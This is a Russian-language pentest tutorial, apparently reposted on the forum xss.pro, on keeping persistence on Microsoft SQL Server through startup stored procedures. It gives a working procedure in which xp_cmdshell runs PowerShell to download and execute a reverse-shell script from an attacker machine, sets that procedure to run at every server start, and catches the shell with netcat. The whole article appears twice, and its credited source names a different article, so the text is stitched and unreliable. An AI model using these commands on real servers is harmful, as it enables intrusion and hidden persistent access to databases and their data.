В этой статье мы узнаем один из многих способов добиться персистентности на серверах SQL. Эта статья является дополнением к нашей серии MSSQL для пентестеров.
Обретение персистентности - один из важных шагов при выполнении операций Red Team. И при выполнении таких операций на MSSQL есть возможности добиться персистентности с помощью запускаемых хранимых процедур, триггеров и ключей реестра. Если у вас есть привилегии пользователя и базы данных, то добиться персистентности несложно. Персистентность может быть более незаметным, если экземпляр запускается через пользователя домена.
Чтобы получить персистентность с помощью запускаемых хранимых процедур, злоумышленник должен иметь права системного администратора. И еще один важный момент: эта хранимая процедура должна находиться в базе данных master. Если sa не владеет хранимыми процедурами, они не будут иметь входных и выходных параметров, что означает, что они не будут перезапущены с сервером, что приведет к нарушению всей цепочки персистентности.
Итак, давайте начнем и посмотрим, как добиться персистентности с помощью запускаемых хранимых процедур.
Во-первых, предположим, что xp_cmdshell включен, поэтому теперь мы вызовем основную базу данных, используя следующий запрос:
USE master
GO
Теперь мы загрузим скрипт однострочник PowerShell на нашу атакующую машину с помощью wget, как показано на изображении ниже:
Теперь в сценарии поменяйте местами заданный IP-адрес с вашим локальным хостом и локальным портом с помощью команды cat. После переключения IP-адреса разрешите серверу python делиться сценарием PowerShell на целевой машине, как показано на изображении ниже:
Теперь давайте создадим хранимую процедуру, которая будет вызывать сценарий PowerShell с онлайн-сервера python и делать это, используя следующий запрос:
CREATE PROCEDURE test_sp
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://192.168.1.2/Invoke-PowerShellTcpOneLine.ps1'')"'
GO
Теперь мы переместим эту хранимую процедуру в режим запуска, потому что мы хотим, чтобы она выполнялась сама по себе, как только сервер запускается. И сделаем это с помощью следующего запроса:
EXEC sp_procoption @ProcName = 'test_sp'
, @OptionName = 'startup'
, @OptionValue = 'on';
Теперь у нас есть хранимая процедура при запуске, которую вы можете подтвердить с помощью следующего запроса:
SELECT * FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;
Давайте включим наш прослушиватель Netcat, как показано на изображении ниже:
Теперь осталось только перезапустить сервер. А чтобы перезапустить сервер, щелкните его правой кнопкой мыши и выберите опцию остановки в раскрывающемся меню, как показано на изображении ниже:
Затем снова щелкните сервер правой кнопкой мыши и выберите параметр запуска из раскрывающегося меню, как показано на изображении ниже:
После перезапуска сервера у вас будет сеанс на netcat.
Итак, вот как можно добиться локальной персистентности с помощью запускаемых хранимых процедур.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/mssql-for-pentester-command-execution-with-ole-automation/
Обретение персистентности - один из важных шагов при выполнении операций Red Team. И при выполнении таких операций на MSSQL есть возможности добиться персистентности с помощью запускаемых хранимых процедур, триггеров и ключей реестра. Если у вас есть привилегии пользователя и базы данных, то добиться персистентности несложно. Персистентность может быть более незаметным, если экземпляр запускается через пользователя домена.
Чтобы получить персистентность с помощью запускаемых хранимых процедур, злоумышленник должен иметь права системного администратора. И еще один важный момент: эта хранимая процедура должна находиться в базе данных master. Если sa не владеет хранимыми процедурами, они не будут иметь входных и выходных параметров, что означает, что они не будут перезапущены с сервером, что приведет к нарушению всей цепочки персистентности.
Итак, давайте начнем и посмотрим, как добиться персистентности с помощью запускаемых хранимых процедур.
Во-первых, предположим, что xp_cmdshell включен, поэтому теперь мы вызовем основную базу данных, используя следующий запрос:
USE master
GO
Теперь мы загрузим скрипт однострочник PowerShell на нашу атакующую машину с помощью wget, как показано на изображении ниже:
Теперь в сценарии поменяйте местами заданный IP-адрес с вашим локальным хостом и локальным портом с помощью команды cat. После переключения IP-адреса разрешите серверу python делиться сценарием PowerShell на целевой машине, как показано на изображении ниже:
Теперь давайте создадим хранимую процедуру, которая будет вызывать сценарий PowerShell с онлайн-сервера python и делать это, используя следующий запрос:
CREATE PROCEDURE test_sp
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://192.168.1.2/Invoke-PowerShellTcpOneLine.ps1'')"'
GO
Теперь мы переместим эту хранимую процедуру в режим запуска, потому что мы хотим, чтобы она выполнялась сама по себе, как только сервер запускается. И сделаем это с помощью следующего запроса:
EXEC sp_procoption @ProcName = 'test_sp'
, @OptionName = 'startup'
, @OptionValue = 'on';
Теперь у нас есть хранимая процедура при запуске, которую вы можете подтвердить с помощью следующего запроса:
SELECT * FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;
Давайте включим наш прослушиватель Netcat, как показано на изображении ниже:
Теперь осталось только перезапустить сервер. А чтобы перезапустить сервер, щелкните его правой кнопкой мыши и выберите опцию остановки в раскрывающемся меню, как показано на изображении ниже:
Затем снова щелкните сервер правой кнопкой мыши и выберите параметр запуска из раскрывающегося меню, как показано на изображении ниже:
После перезапуска сервера у вас будет сеанс на netcat.
Итак, вот как можно добиться локальной персистентности с помощью запускаемых хранимых процедур.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/mssql-for-pentester-command-execution-with-ole-automation/